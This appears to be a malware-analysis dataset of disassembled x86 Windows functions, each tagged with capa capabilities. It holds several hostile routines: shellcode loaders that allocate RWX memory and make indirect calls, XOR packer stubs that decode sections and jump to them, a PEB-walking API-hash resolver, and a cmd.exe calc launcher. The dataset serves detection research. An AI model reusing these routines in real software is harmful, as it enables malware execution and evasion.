joyce8/EMBER2024-capa huggingface dataset:
Function at 0x417c2f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x834
push ebx
push esi
push edi
push 0x401440
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401450
push eax
mov dword [0x2afd024], eax
call esi
push 0x40145c
push dword [0x2afd024]
mov dword [0x2afd01c], eax
call esi
push dword [0x2b64cc4]
xor esi, esi
push esi
mov dword [0x2af9dfc], eax
call dword [0x2afd01c]
lea ecx, [ebp - 4]
push ecx
push 0x40
push dword [0x2b64cc4]
mov dword [0x2af9e14], eax
push eax
call dword [0x2af9dfc]
xor edi, edi
cmp edi, 0x85b4
jge 0x417cbc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetAltTabInfoW]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetGeoInfoA]
cmp edi, 0x11c825e
jg 0x417ce1
inc edi
mov eax, edi
cdq
cmp edx, 0x3f
jl 0x417c99
jg 0x417ce1
cmp eax, 0x45b08f85
jb 0x417c99
mov eax, dword [0x421724]
mov dword [0x2b64cc8], eax
xor eax, eax
cmp dword [0x2b64cc4], esi
jbe 0x417d14
mov ecx, dword [0x2b64cc8]
mov cl, byte [ecx + eax + 0xb2d3b]
mov edx, dword [0x2af9e14]
mov byte [edx + eax], cl
inc eax
cmp eax, dword [0x2b64cc4]
jb 0x417cf5
xor edi, edi
mov eax, dword [0x2b64cc4]
add eax, edi
cmp eax, 0x5e
jne 0x417d51
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapValidate]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalSize]
push esi
lea eax, [ebp - 0x834]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
push esi
call dword [sym.imp.KERNEL32.dll_HeapLock]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
inc edi
cmp edi, 0xa69b
jl 0x417d16
mov edx, dword [0x2b64cc4]
mov ecx, dword [0x2af9e14]
push 0x421008
call fcn.00417b50
xor eax, eax
cmp eax, 0x59d8
jne 0x417d83
mov ecx, 0x2af9e14
call fcn.00417c28
inc eax
cmp eax, 0x356d83
jl 0x417d72
push 0x7b
pop ebx
cmp dword [0x2b64cc4], 0x54d
jne 0x417dd1
xor eax, eax
mov dword [ebp - 0x18], esi
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x34]
push eax
push 0x40146c
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push esi
lea eax, [ebp - 0x434]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
dec ebx
jne 0x417d8e
mov eax, dword [0x2af9e14]
mov dword [0x2afd02c], eax
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x417de5
Capabilities:
Create thread
Get disk size
Get hostname
Manipulate console buffer
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x714
push ebx
push esi
xor ebx, ebx
cmp dword [0x2b64cc4], 0x598
push edi
jne 0x417e49
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
push 0x40147c
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
call dword [sym.imp.KERNEL32.dll_SetFileApisToANSI]
xor eax, eax
mov dword [ebp - 0x24], ebx
lea edi, [ebp - 0x20]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x24]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
push ebx
push ebx
push ebx
call fcn.004184e0
add esp, 0xc
call fcn.0041833f
mov esi, 0xa4808
cmp dword [0x2b64cc4], 0x57c
jne 0x417ee8
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push 0x30
lea eax, [ebp - 0x54]
push ebx
push eax
mov dword [ebp - 0x58], ebx
call fcn.00418570
add esp, 0xc
lea eax, [ebp - 0x58]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea eax, [ebp - 0x714]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
lea eax, [ebp - 0x314]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetMailslotInfo]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
xor eax, eax
mov word [ebp - 4], ax
lea edi, [ebp - 2]
stosw word es:[edi], ax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
dec esi
jne 0x417e4e
mov esi, dword [0x4226d4]
add esi, 0xb2d3b
mov eax, 0x424720
mov dword [0x2b64cc4], esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x417f09
sub eax, edx
cmp eax, 0x1515
jne 0x417f8c
cmp esi, 0x18
jne 0x417f52
push ebx
push ebx
push ebx
lea eax, [ebp - 0xf4]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
push ebx
call sub.KERNEL32.dll_GetSystemPowerStatus
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
call dword [sym.imp.KERNEL32.dll_GetACP]
mov esi, dword [0x2b64cc4]
cmp esi, 0x9e6
jne 0x417f76
lea eax, [ebp - 0xec]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
call fcn.00418275
push ebx
push ebx
call fcn.004181e6
push ebx
call fcn.00418178
add esp, 0x10
call fcn.00417c2f
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10

Function at 0x41a622
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x423e68]
jne 0x41a62c
repz ret
jmp fcn.0041c875
Function at 0x41c13c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0041af58
and dword [ebp - 4], 0
cmp dword [0x2b653e0], 0
mov ebx, eax
jne 0x41c1ed
push 0x401bc0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x41c29e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401bb4
push edi
call esi
test eax, eax
je 0x41c29e
push eax
call fcn.0041aee6
mov dword [esp], 0x401ba4
push edi
mov dword [0x2b653e0], eax
call esi
push eax
call fcn.0041aee6
mov dword [esp], 0x401b90
push edi
mov dword [0x2b653e4], eax
call esi
push eax
call fcn.0041aee6
mov dword [esp], 0x401b74
push edi
mov dword [0x2b653e8], eax
call esi
push eax
call fcn.0041aee6
pop ecx
mov dword [0x2b653f0], eax
test eax, eax
je 0x41c1ed
push 0x401b5c
push edi
call esi
push eax
call fcn.0041aee6
pop ecx
mov dword [0x2b653ec], eax
mov eax, dword [0x2b653ec]
cmp eax, ebx
je 0x41c245
cmp dword [0x2b653f0], ebx
je 0x41c245
push eax
call fcn.0041af61
push dword [0x2b653f0]
mov esi, eax
call fcn.0041af61
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x41c245
test edi, edi
je 0x41c245
call esi
test eax, eax
je 0x41c23c
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x41c23c
test byte [ebp - 0xc], 1
jne 0x41c245
or dword [ebp + 0x10], 0x200000
jmp 0x41c27e
mov eax, dword [0x2b653e4]
cmp eax, ebx
je 0x41c27e
push eax
call fcn.0041af61
pop ecx
test eax, eax
je 0x41c27e
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x41c27e
mov eax, dword [0x2b653e8]
cmp eax, ebx
je 0x41c27e
push eax
call fcn.0041af61
pop ecx
test eax, eax
je 0x41c27e
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x2b653e0]
call fcn.0041af61
pop ecx
test eax, eax
je 0x41c29e
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x41c2a0
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401a40
Capabilities:
Write file on windows

Disassembly:
mov edx, dword [esp + 8]
mov ecx, dword [ecx]
lea eax, [esp + 8]
push 0
push eax
mov eax, dword [esp + 0xc]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
ret 8

Function at 0x40325c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x407028]
jne 0x403266
repz ret
jmp fcn.0040377e
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x4031f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x403203
pop dword [ebp - 0x4c]
mov eax, 0x403203
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x1ce8e7c5
sub dword [ebp - 0x5c], 0xce96a27a
mov dword [ebp - 0x58], 0xd585894f
sub dword [ebp - 0x58], 0xa3523d0a
mov dword [ebp - 0x54], 0xe4a8875d
add dword [ebp - 0x54], 0x67a3bcd1
mov dword [ebp - 0x50], 0xd0232743
add dword [ebp - 0x50], 0x2fdcd8bd
lea eax, [ebp - 0x5c]
push eax
mov eax, 0xc364bca
add eax, 0xf40a34c2
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x3d90b408
sub dword [ebp - 0x5c], 0xc91e4ab2
mov dword [ebp - 0x58], 0x227a56aa
sub dword [ebp - 0x58], 0xe10df535
mov dword [ebp - 0x54], 0x949c94ee
sub dword [ebp - 0x54], 0x312d2882
mov dword [ebp - 0x50], 0xca71de47
sub dword [ebp - 0x50], 0xca71de47
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x3a9f1
push 0
call eax
mov ecx, 0x5dc2533e
add ecx, 0xa23e04de
mov ebx, eax
mov esi, 0x64e0aaeb
add esi, 0x9b606515
add esi, dword [ebp - 0x4c]
mov edi, 0x3e794e4a
sub dword [ebp - 0x10], 0xba1ccd89
mov edx, dword [esi]
sub dword [ebp - 0x3c], 0x4b8158bc
sub edx, edi
xor dword [ebp - 0xc], edi
mov dword [ebx], edx
add dword [ebp - 0x2c], ecx
add ebx, 4
add esi, 0x2f48f965
sub esi, 0x2f48f961
loop 0x403315
add eax, 0x15343
mov ebx, eax
add eax, 0x7e57747d
sub eax, 0x7e577478
mov ecx, 0xc6d053ba
add ecx, 0x396fac46
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x4069c5
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x4069e9
xor eax, eax
test eax, eax
je 0x4069fc
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x4069fc
xor ecx, ecx
jmp 0x4069ff
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406b22
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427dec], 0
push esi
jne 0x406b59
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406b33
mov dword [ecx*4 + 0x427de8], eax
inc ecx
cmp ecx, 0x100
jl 0x406b2e
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406b8a
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427de8]
xor eax, esi
inc ecx
dec edx
jne 0x406b6c
pop edi
not eax
pop esi
ret 0xc

Function at 0x408975
Capabilities:
Encode data using xor

Disassembly:
push 0x4085d8
pop esi
call fcn.00408994
mov edx, edi
xor dword [eax], esi
inc eax
or edx, edi
cmp eax, ecx
jne fcn.00408975
push 0xcfa1851d
pop edi
add edx, edx
ret
Function at 0x401950
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x4053a0]
test esi, esi
jle 0x401a60
mov edi, dword [0x4053a4]
xor ebx, ebx
lea edx, [edi + 0xc]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x401984
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x401a05
add ebx, 1
add edx, 0x14
cmp ebx, esi
jne 0x401970
mov dword [esp], eax
mov ebx, eax
call fcn.00402240
test eax, eax
mov edi, eax
je 0x401a87
mov eax, dword [0x4053a4]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.00402340
add eax, dword [edi + 0xc]
mov edx, dword [0x4053a4]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp], eax
mov dword [esp + 4], edx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401a67
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x4019fe
sub eax, 4
and eax, 0xfffffffb
jne 0x401a10
add dword [0x4053a0], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
add ebx, dword [0x4053a4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x20]
mov dword [ebx + 4], eax
mov dword [ebx + 8], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x40
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x4019fe
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.004026b0
lea esi, [esi]
xor esi, esi
jmp 0x40198e
mov eax, dword [0x4053a4]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.004026b0
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.004026b0
mov esi, esi
lea edi, [edi]

Function at 0x401ec0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x4053b8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x4053b0]
sub esp, 4
test ebx, ebx
je 0x401f15
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x401f0e
test esi, esi
je 0x401f0e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401ef0
mov dword [esp], 0x4053b8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4025b0
Capabilities:
Create process on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
lea ebx, [ebp - 0x5c]
sub esp, 0x98
call fcn.004015d0
mov dword [esp + 4], str.hello
mov dword [esp], sym.imp.libstdc_6.dll_std::cout
call fcn.00401520
mov dword [esp], eax
call fcn.00401528
lea edx, [ebp - 0x58]
xor eax, eax
mov ecx, 0x10
mov dword [ebp - 0x5c], 0x44
mov edi, edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x6c]
mov dword [esp + 0x20], ebx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x24], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str._c_calc
mov dword [esp], str.C:WindowsSystem32cmd.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
sub esp, 0x28
mov esi, eax
test eax, eax
mov eax, dword [ebp - 0x6c]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp], eax
je 0x402678
call ebx
mov eax, dword [ebp - 0x68]
push ecx
mov esi, 1
mov dword [esp], eax
call ebx
push ebx
jmp 0x402684
call ebx
push eax
mov eax, dword [ebp - 0x68]
mov dword [esp], eax
call ebx
push edx
lea esp, [ebp - 0x10]
mov eax, esi
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret

Function at 0x4026b0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.00402580
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.00402580
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop
nop
nop
nop
push ebp
mov ebp, esp
pop ebp
jmp fcn.004014e0
Function at 0x4209cb
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x420a0a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x420a0a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x420a0a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x420a0a
cmp dword [ecx + 0x74], 0xe
jbe 0x420a0a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x433180
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4331ad
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4331ad
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
mov ecx, 0x28217a8b
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..rsrc
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x799699f
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x40a940
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp - 0x1d]
push esi
inc ebp
jecxz 0x40a99d
mov ecx, dword [eax*4 - 0x2342f7ae]
push es
xor al, 0x8f
in al, 0x1b
sal dword [ebp + eax*4 - 7], cl
jne 0x40a944
psubd mm0, mm3
imul byte [ebx]
push ecx
xchg byte [edi - 0x39], bl
invalid
in al, 0x64
mov edx, dword [edx + 0x30]

Function at 0x40a970
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0x40a969
cld
call fcn.0040ac84
jmp 0x40a97b
invalid
nop
jmp 0x40a989
nop
pushal
nop
xor edx, edx
nop
jmp 0x40a99e
mov edx, dword fs:[edx + 0x30]
mov ebp, esp
jmp 0x40a9b5
mov edx, dword [edx + 0xc]
nop
mov edx, dword [edx + 0x14]
nop
jmp 0x40a9cc
xor edi, edi
mov esi, dword [edx + 0x28]
jmp 0x40a9de
movzx ecx, word [edx + 0x26]
jmp 0x40a9f0
jmp 0x40aa00
xor eax, eax
nop
jmp 0x40aa12
lodsb al, byte [esi]
cmp al, 0x61
nop
jl 0x40aa39
jmp 0x40aa27
sub al, 0x20
jmp 0x40aa39
ror edi, 0xd
add edi, eax
dec ecx
jmp 0x40aa4c
jne 0x40a9f0
jmp 0x40aa63
push edx
nop
push edi
nop
mov edx, dword [edx + 0x10]
mov eax, dword [edx + 0x3c]
nop
add eax, edx
nop
jmp 0x40aa81
mov eax, dword [eax + 0x78]
nop
test eax, eax
jmp 0x40aa91
je 0x40ac41
nop
jmp 0x40aaa7
nop
add eax, edx
nop
jmp 0x40aab9
mov ebx, dword [eax + 0x20]
add ebx, edx
push eax
jmp 0x40aaca
mov ecx, dword [eax + 0x18]
nop
test ecx, ecx
je 0x40ac3f
jmp 0x40aae2
nop
jmp 0x40aaed
xor edi, edi
dec ecx
mov esi, dword [ebx + ecx*4]
jmp 0x40ab04
add esi, edx
jmp 0x40ab15
nop
xor eax, eax
nop
lodsb al, byte [esi]
jmp 0x40ab28
ror edi, 0xd
nop
add edi, eax
jmp 0x40ab3e
cmp al, ah
jmp 0x40ab50
jne 0x40ab15
jmp 0x40ab63
add edi, dword [ebp - 8]
nop
jmp 0x40ab71
cmp edi, dword [ebp + 0x24]
nop
jmp 0x40ab81
jne 0x40aacd
nop
jmp 0x40ab97
pop eax
nop
mov ebx, dword [eax + 0x24]
nop
add ebx, edx
jmp 0x40aba9
mov cx, word [ebx + ecx*2]
jmp 0x40abbc
mov ebx, dword [eax + 0x1c]
jmp 0x40abd3
add ebx, edx
jmp 0x40abe6
mov eax, dword [ebx + ecx*4]
jmp 0x40abf7
add eax, edx
nop
mov dword [esp + 0x24], eax
nop
pop ebx
jmp 0x40ac10
pop ebx
popal
nop
pop ecx
nop
pop edx
push ecx
jmp 0x40ac28
jmp eax
pop eax
nop
nop
pop edi
jmp 0x40ac55
pop edx
mov edx, dword [edx]
nop
jmp 0x40ac6c
jmp 0x40a9bc
cdq
aaa
stc
lahf
inc eax
dec ebx
stc
nop
aaa
inc ecx
cmc
salc
inc edx
das
inc eax
cmc
xchg ebx, eax
dec edx
xchg edx, eax
salc
aas
xchg ecx, eax
salc
dec edx
std
std
dec ecx
cmc
dec ebx
cdq
inc eax
das
inc ecx
dec edx
aas
nop
inc edx
inc eax
daa
cmc
salc
daa
dec eax
inc eax
xchg edx, eax
dec eax
dec eax
inc ebx
clc
cld
xchg ebx, eax
nop
das
salc
inc ecx
inc ebx
inc ecx
aas
xchg ecx, eax
salc
inc ebx
inc eax
clc
inc eax
stc
inc ecx
clc
cld
salc
wait
std
cwde
cld
cmc
salc
cwde
inc edx
cdq
inc ecx
wait
inc ecx
dec ebx
lahf
stc
stc
xchg ecx, eax
cdq
inc ecx
cld
aaa
nop
daa
cwde
dec eax
xchg ebx, eax
salc
dec ebx
cwde
das
cmc
das
cdq
cdq
lahf
dec edx
inc ecx
inc eax
das
xchg edx, eax
wait
aaa
inc ecx
inc ebx
wait
cld
xchg ecx, eax
cld
clc
cwde
inc edx
cld
daa
clc
salc
std
clc
lahf
lahf
std
dec ebx
xchg edx, eax
dec eax
dec ecx
dec ebx
salc
stc
cmc
nop
lahf
jmp 0x40a958
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..rsrc
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x433072
nop
nop
mov ebx, 0x40de38
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x111074b
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x433060
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4330d2
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x42a7558c
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219

Function at 0x8c2130
Capabilities:
Encode data using xor

Disassembly:
mov ebx, 0x8c1ea3
sub edx, edx
call fcn.008c2160
add edx, 0xbf52389f
xor dword [esi], ebx
or edx, ecx
sub ecx, edx
mov ecx, edx
inc esi
sub edx, 0xf8e11f79
dec edx
sub edx, edx
cmp esi, eax
jne fcn.008c2130
mov edx, 0x7699a72d
ret